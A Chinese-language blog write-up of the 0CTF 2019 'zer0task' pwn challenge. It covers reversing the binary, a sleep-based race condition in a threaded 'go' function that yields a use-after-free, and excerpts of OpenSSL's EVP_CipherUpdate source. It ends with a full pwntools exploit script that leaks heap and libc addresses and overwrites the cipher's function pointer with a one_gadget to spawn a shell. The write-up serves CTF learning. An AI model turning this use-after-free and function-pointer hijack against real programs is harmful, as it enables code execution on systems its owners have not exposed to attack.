0ctf2019_zer0task

zer0task.0ctf打得我怀疑人生..自闭了..学不好只能看wp

zer0task

binary
传说0ctf2019中最简单的一题…本菜狗..还是没有做出来…我一度以为他没有漏洞写得很完美…没想到问题出在了运行起来的时候–条件竞争
.在条件竞争之后我搞不清EVP_Cipher的几个结构体…openssl接触太少..

Analysis

1
2
3
4
5
6
7
➜  zer0task checksec task
[*] '/home/n132/Desktop/zer0task/task'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

全保护.
主要功能有三个.
add,delete,go
add
创建的内容以链表的形式链接起来 标识符为id我做了个丑陋的结构体.

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000 node            struc ; (sizeof=0x70, mappedto_7)
00000000 data dq ? ; offset
00000008 size dq ?
00000010 type dd ?
00000014 KEY db 32 dup(?)
00000034 IV db 16 dup(?)
00000044 field_44 dd ?
00000048 field_48 dq ?
00000050 field_50 dq ?
00000058 obj dq ?
00000060 id dd ?
00000064 field_64 dd ?
00000068 next dq ? ; offset

其中data大小可控
objEVP_CIPHER_CTX结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
object->obj = EVP_CIPHER_CTX_new();
if ( type == 1 )
{
tpp = EVP_aes_256_cbc();
EVP_EncryptInit_ex(object->obj, tpp, 0LL, object->KEY, object->IV);
}
else
{
if ( type != 2 )
return 0LL;
tpp = EVP_aes_256_cbc();
EVP_DecryptInit_ex(object->obj, tpp, 0LL, object->KEY, object->IV);
}

go()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 go()
{
int id; // [rsp+4h] [rbp-1Ch]
pthread_t newthread; // [rsp+8h] [rbp-18h]
node *tmp_ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Task id : ");
id = get_cmd();
for ( tmp_ptr = PTR; tmp_ptr; tmp_ptr = tmp_ptr->next )
{
if ( id == tmp_ptr->id )
{
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, tmp_ptr);
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

主要是通过id找到目标chunk然后打印encode或者decode之后的内容简而言之就是一个show函数

漏洞点

但是主要的漏洞点是pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, tmp_ptr);使用了pthread
其中start_routine睡了两秒…多么明显的条件竞争…由于之前没做过条件竞争的我选择性忽视了/捂脸

1
2
puts("Prepare...");
sleep(2u);

所以我们造成uaf,例如

1
2
go()
delete()

来泄露地址
但是有个小问题是EVP_CIPHER_CTX结构体也被free了为了程序的正常运行我们需要把它malloc.例如

1
2
3
4
5
6
7
8
9
add(0x8)#0
add(0x8)#1
add(0x8)#2
go(0)
free(0)
free(1)
free(2)
add(0xa8)#because of sizeof(EVP_CIPHER_CTX)=0xb0
add(8)

这样我们就可以泄露堆地址.

然后我们可以伪造node泄露libc地址.

然后就可以通过EVP_CipherUpdate里的虚表调用getshell

用题目给的libc比较好直接one_gadget拿到shell.用自己的…说多了都是泪.源码不多分析了贴在这里以后再遇到可以看

EVP_CipherUpdate

在EVP_CipherUpdate()之中存在对虚表函数的调用…简单的不加构造放利用one_gadget发现失败了..
开始找源码..

Download…..

https://www.openssl.org/source/
decompression….
grep -r EVP_CipherUpdate . to locate the func…

evp_enc.c#EVP_CipherUpdate

1
2
3
4
5
6
7
8
int EVP_CipherUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
const unsigned char *in, int inl)
{
if (ctx->encrypt)
return EVP_EncryptUpdate(ctx, out, outl, in, inl);
else
return EVP_DecryptUpdate(ctx, out, outl, in, inl);
}

so … EVP_EncryptUpdate()

evp_enc.c#EVP_EncryptUpdate

1
2
3
4
5
6
7
8
9
10
11
int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl,
const unsigned char *in, int inl)
{
/* Prevent accidental use of decryption context when encrypting */
if (!ctx->encrypt) {
EVPerr(EVP_F_EVP_ENCRYPTUPDATE, EVP_R_INVALID_OPERATION);
return 0;
}

return evp_EncryptDecryptUpdate(ctx, out, outl, in, inl);
}

evp_enc.c#evp_EncryptDecryptUpdate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
static int evp_EncryptDecryptUpdate(EVP_CIPHER_CTX *ctx,
unsigned char *out, int *outl,
const unsigned char *in, int inl)
{
int i, j, bl, cmpl = inl;

if (EVP_CIPHER_CTX_test_flags(ctx, EVP_CIPH_FLAG_LENGTH_BITS))
cmpl = (cmpl + 7) / 8;

bl = ctx->cipher->block_size;

if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) {
/* If block size > 1 then the cipher will have to do this check */
if (bl == 1 && is_partially_overlapping(out, in, cmpl)) {
EVPerr(EVP_F_EVP_ENCRYPTDECRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
return 0;
}

i = ctx->cipher->do_cipher(ctx, out, in, inl);
if (i < 0)
return 0;
else
*outl = i;
return 1;
}

if (inl <= 0) {
*outl = 0;
return inl == 0;
}
if (is_partially_overlapping(out + ctx->buf_len, in, cmpl)) {
EVPerr(EVP_F_EVP_ENCRYPTDECRYPTUPDATE, EVP_R_PARTIALLY_OVERLAPPING);
return 0;
}

if (ctx->buf_len == 0 && (inl & (ctx->block_mask)) == 0) {
if (ctx->cipher->do_cipher(ctx, out, in, inl)) {
*outl = inl;
return 1;
} else {
*outl = 0;
return 0;
}
}
i = ctx->buf_len;
OPENSSL_assert(bl <= (int)sizeof(ctx->buf));
if (i != 0) {
if (bl - i > inl) {
memcpy(&(ctx->buf[i]), in, inl);
ctx->buf_len += inl;
*outl = 0;
return 1;
} else {
j = bl - i;
memcpy(&(ctx->buf[i]), in, j);
inl -= j;
in += j;
if (!ctx->cipher->do_cipher(ctx, out, ctx->buf, bl))
return 0;
out += bl;
*outl = bl;
}
} else
*outl = 0;
i = inl & (bl - 1);
inl -= i;
if (inl > 0) {
if (!ctx->cipher->do_cipher(ctx, out, in, inl))
return 0;
*outl += inl;
}

if (i != 0)
memcpy(ctx->buf, &(in[inl]), i);
ctx->buf_len = i;
return 1;
}

aes_cbc

这个解密之前做过幸亏那次把脚本留下来了这次是直接拿来改一改用的原脚本地址
https://github.com/n132/Watermalon/tree/master/Script/aes_cbc
by the way … http://aes.online-domain-tools.com/

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from Crypto.Cipher import AES
BLOCK_SIZE = 16 # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def DE(text):
BS = AES.block_size
mode = AES.MODE_CBC
pad = lambda s: s + (BS-len(s))*"\x00"
pad_txt = lambda s: s + (BS - len(s) % BS) * '\x00'
unpad = lambda s : s[0:-ord(s[-1])]
cryptor=AES.new("A"*0x20,mode, "B"*0x10)
plain_text = cryptor.decrypt(text)
return u64(plain_text[:8])
def cmd(c):
p.sendlineafter("Choice: ",str(c))
def add(i,size,data,key="A"*0x20,vi="B"*0x10,tp=1):
p.sendline("1")
p.sendlineafter("id : ",str(i))
p.sendlineafter("2): ",str(tp))
p.sendafter("Key : ",key.ljust(0x20,'\x00'))
p.sendafter("IV : ",vi.ljust(0x10,'\x00'))
p.sendlineafter("Data Size : ",str(size))
p.sendafter("Data : ",data.ljust(size,'\x00'))
def free(i,):
cmd(2)
p.sendlineafter("id : ",str(i))
def go(i):
cmd(3)
p.sendlineafter("id : ",str(i))
p=process("./task",env={'LD_PRELOAD':"./libc-2.27.so"})

add(0,0x8,"A")
add(1,0x8,"B")
add(2,0x8,"C")
add(3,0x8,"D")
add(4,0x8,"E")

free(0)
free(1)
go(2)
free(2)
free(3)
free(4)
#add(5,8,"A")
add(5,0xa8,"B")
add(6,0x8,"c")
p.readuntil("Ciphertext: \n")
pd=""
for x in p.readline().split():
pd+=chr(int("0x"+x,16))
heap=(DE(pd))-(0x555555758280-0x0000555555757000)
log.info(hex(heap))
sleep(2)
add(7,0x666,"A")
add(8,0x8,"A")
go(7)
free(7)
free(8)
#get the struct of index7
add(9,0x78,p64(0x555555758f80-0x0000555555757000+heap)+p64(8)+p32(1)+"A"*0x20+"B"*0x10+"\x00"*0x14+p64(0x0000555555758300-0x0000555555757000+heap)+p64(0x00005555557589a0))
p.readuntil("Ciphertext: \n")
pd=""
for x in p.readline().split():
pd+=chr(int("0x"+x,16))
libc=ELF("./libc-2.27.so")
base=(DE(pd))-(0x7ffff776dca0-0x7ffff73d1440+libc.symbols['system'])
log.warning(hex(base))
sleep(2)
add(10,0x8,'A')
add(10,0x8,'A')
add(10,0x8,'A')
add(10,0x8,'A')

add(0,0x8,"A")
add(1,0x8,"B")
add(2,0x8,"C")
add(3,0x8,"D")
add(4,0x8,"E")

free(0)
free(1)
go(2)
free(2)
free(3)
free(4)
add(5,0x8,"B")
one=0x10a38c
add(6,0xa8,p64(0x555555759b90-0x0000555555757000+heap)+p64(0x1)+p64(0x1)+'\x00'*0x8+p64(one+base))
p.interactive("n132>>")

-

Author: n132!
Link: https://n132.github.io/2019/03/29/2019-03-29-0ctf2019-zer0task/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.